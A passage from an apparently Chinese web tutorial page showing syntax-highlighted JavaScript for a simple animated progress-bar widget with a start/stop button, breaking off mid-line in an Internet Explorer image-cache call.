    <li class="alt"><span>&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;</span><span class="keyword">this</span><span>.timer&nbsp;=&nbsp;window.setInterval(ProcessBar.nowObj.moving,&nbsp;</span><span class="keyword">this</span><span>.moveInterval); &nbsp;&nbsp;</span></li>
    <li><span>&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;}</span><span class="keyword">else</span><span>{ &nbsp;&nbsp;</span></li>
    <li class="alt"><span>&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;window.clearInterval(</span><span class="keyword">this</span><span>.timer); &nbsp;&nbsp;</span></li>
    <li><span>&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;} &nbsp;&nbsp;</span></li>
    <li class="alt"><span>&nbsp;&nbsp;&nbsp;} &nbsp;&nbsp;</span></li>
    <li><span>&nbsp;&nbsp;</span></li>
    <li class="alt"><span>&nbsp;&nbsp;&nbsp;</span><span class="keyword">this</span><span>.moving&nbsp;=&nbsp;</span><span class="keyword">function</span><span>(){ &nbsp;&nbsp;</span></li>
    <li><span>&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;ProcessBar.nowObj.nowLength&nbsp;+=&nbsp;ProcessBar.nowObj.moveRange; &nbsp;&nbsp;</span></li>
    <li class="alt"><span>&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;ProcessBar.nowObj.foreDiv.style.width&nbsp;=&nbsp;ProcessBar.nowObj.nowLength; &nbsp;&nbsp;</span></li>
    <li><span>&nbsp;&nbsp;</span></li>
    <li class="alt"><span>&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;ProcessBar.nowObj.fontDiv.firstChild.data&nbsp;=&nbsp;Math.ceil((ProcessBar.nowObj.nowLength/ProcessBar.nowObj.width&nbsp;)*100)&nbsp;+&nbsp;</span><span class="string">&quot;%&quot;</span><span>; &nbsp;&nbsp;</span></li>
    <li><span>&nbsp;&nbsp;</span></li>
    <li class="alt"><span>&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;</span><span class="keyword">if</span><span>(ProcessBar.nowObj.nowLength&nbsp;&gt;=&nbsp;ProcessBar.nowObj.width&nbsp;){ &nbsp;&nbsp;</span></li>
    <li><span>&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;window.clearInterval(ProcessBar.nowObj.timer); &nbsp;&nbsp;</span></li>
    <li class="alt"><span>&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;ProcessBar.nowObj.fontDiv.firstChild.data&nbsp;=&nbsp;</span><span class="string">&quot;Complete!&quot;</span><span>; &nbsp;&nbsp;</span></li>
    <li><span>&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;} &nbsp;&nbsp;</span></li>
    <li class="alt"><span>&nbsp;&nbsp;&nbsp;} &nbsp;&nbsp;</span></li>
    <li><span>&nbsp;&nbsp;</span></li>
    <li class="alt"><span>&nbsp;&nbsp;&nbsp; &nbsp;&nbsp;</span></li>
    <li><span>} &nbsp;&nbsp;</span></li>
    <li class="alt"><span>&nbsp;&nbsp;</span></li>
    <li><span class="keyword">var</span><span>&nbsp;processBar&nbsp;=&nbsp;</span><span class="keyword">new</span><span>&nbsp;ProcessBar(); &nbsp;&nbsp;</span></li>
    <li class="alt"><span>processBar.backImg&nbsp;=&nbsp;</span><span class="string">&quot;http://screenprint2007.cpp114.com/UserFiles/20070412155452218.gif&quot;</span><span>; &nbsp;&nbsp;</span></li>
    <li><span>processBar.foreImg&nbsp;=&nbsp;</span><span class="string">&quot;http://screenprint2007.cpp114.com/UserFiles/20070412155424937.gif&quot;</span><span>; &nbsp;&nbsp;</span></li>
    <li class="alt"><span>processBar.top&nbsp;=&nbsp;100; &nbsp;&nbsp;</span></li>
    <li><span>processBar.left&nbsp;=&nbsp;20; &nbsp;&nbsp;</span></li>
    <li class="alt"><span>processBar.init(); &nbsp;&nbsp;</span></li>
    <li><span>&nbsp;&nbsp;</span></li>
    <li class="alt"><span>&nbsp;&nbsp;</span></li>
    <li><span>&nbsp;&nbsp;</span></li>
    <li class="alt"><span>&lt;/script&gt;&nbsp;&nbsp;</span></li>
</ol>
</div>
<p>&nbsp;</p>
<div class="codeText">
<div class="codeHead">JavaScript代码</div>
<ol class="dp-c">
    <li class="alt"><span><span>&lt;body&gt; &nbsp;&nbsp;</span></span></li>
    <li><span>&nbsp;&nbsp;</span></li>
    <li class="alt"><span>&lt;input&nbsp;type=</span><span class="string">&quot;button&quot;</span><span>&nbsp;value=</span><span class="string">&quot;start&quot;</span><span>&nbsp;onclick=</span><span class="string">&quot;processBar.changeMode();if(processBar.isMoving){this.value='Stop';}else{this.value='Start';}&quot;</span><span>&gt; &nbsp;&nbsp;</span></li>
    <li><span>&nbsp;&nbsp;</span></li>
    <li class="alt"><span>&lt;/body&gt; &nbsp;&nbsp;</span></li>
    <li><span>&lt;script&gt; &nbsp;&nbsp;</span></li>
    <li class="alt"><span class="keyword">if</span><span>(window.ActiveXObject)&nbsp;document.execCommand(</span><span class="string">&quot;BackgroundImageCac